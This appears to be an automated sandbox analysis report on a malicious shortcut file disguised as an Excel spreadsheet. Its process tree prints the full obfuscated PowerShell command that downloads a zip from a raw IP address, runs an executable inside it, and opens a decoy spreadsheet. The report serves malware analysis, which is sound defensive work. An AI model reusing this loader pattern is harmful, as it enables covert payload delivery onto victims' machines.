Analysis

  • max time kernel
    120s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    27-07-2024 02:06

General

  • Target

    rv_luti_2024_roku.xlsx.lnk

  • Size

    32KB

  • MD5

    ccc8b9cd493472f0d518b807d3951fda

  • SHA1

    f76898a4231b6fd71a22781156206a76568b9279

  • SHA256

    6d93a42c2bffbf94f703b3bbe6e0e9026d76bfb501367bbeb1c2531e28ac6cab

  • SHA512

    40bfa4428eb7a1fa21d2bf75b972196935e6710920827fe49bdae758e3262f761731c2921ea0ef460f8bd2319ff00270787c09888995a276648be7e0cd1580df

  • SSDEEP

    48:808xwONuZDa46xCcgPcDpWdCZFXuGdZ+g:808KSuda46xCrPK9uL

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\rv_luti_2024_roku.xlsx.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3012
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo rohJqtLSzgkhnCsyQdlRvrLx; echo gnKNxpwYQdtqAhfUOOgJMiki; echo uhGwbyOTjoOplglUGgeI; if (-not(Test-Path 'pgg.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''8''1.''19''.13''9.7''4/fhtp934657hgjdkldjnblcvpgg.zip -OutFile pgg.zip}; echo JImCFLVGXVGCYJtCYszgHvwZghmItRgbPblLOsYxfku; Expand-Archive -Path pgg.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/ScreenShot.exe; echo AMaAOEyDSTtcivafWkpIuqJFMWkCVYsArYkSPEnSPKzQeuvLcRviZ; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''8''1.''19''.13''9.7''4/fhtp934657hgjdkldjnblcvracs/rv_luti_2024_roku.xlsx -OutFile rv_luti_2024_roku.xlsx; echo cPOpvQGDupnLMOZZtJyTKSiSmvAsparrHiv; s''t''a''rt rv_luti_2024_roku.xlsx
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2776

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2776-38-0x000007FEF5E9E000-0x000007FEF5E9F000-memory.dmp

    Filesize

    4KB

  • memory/2776-39-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

    Filesize

    2.9MB

  • memory/2776-40-0x00000000027E0000-0x00000000027E8000-memory.dmp

    Filesize

    32KB

  • memory/2776-41-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

    Filesize

    9.6MB

  • memory/2776-42-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

    Filesize

    9.6MB

  • memory/2776-43-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

    Filesize

    9.6MB

  • memory/2776-44-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

    Filesize

    9.6MB

  • memory/2776-45-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

    Filesize

    9.6MB

  • memory/2776-46-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

    Filesize

    9.6MB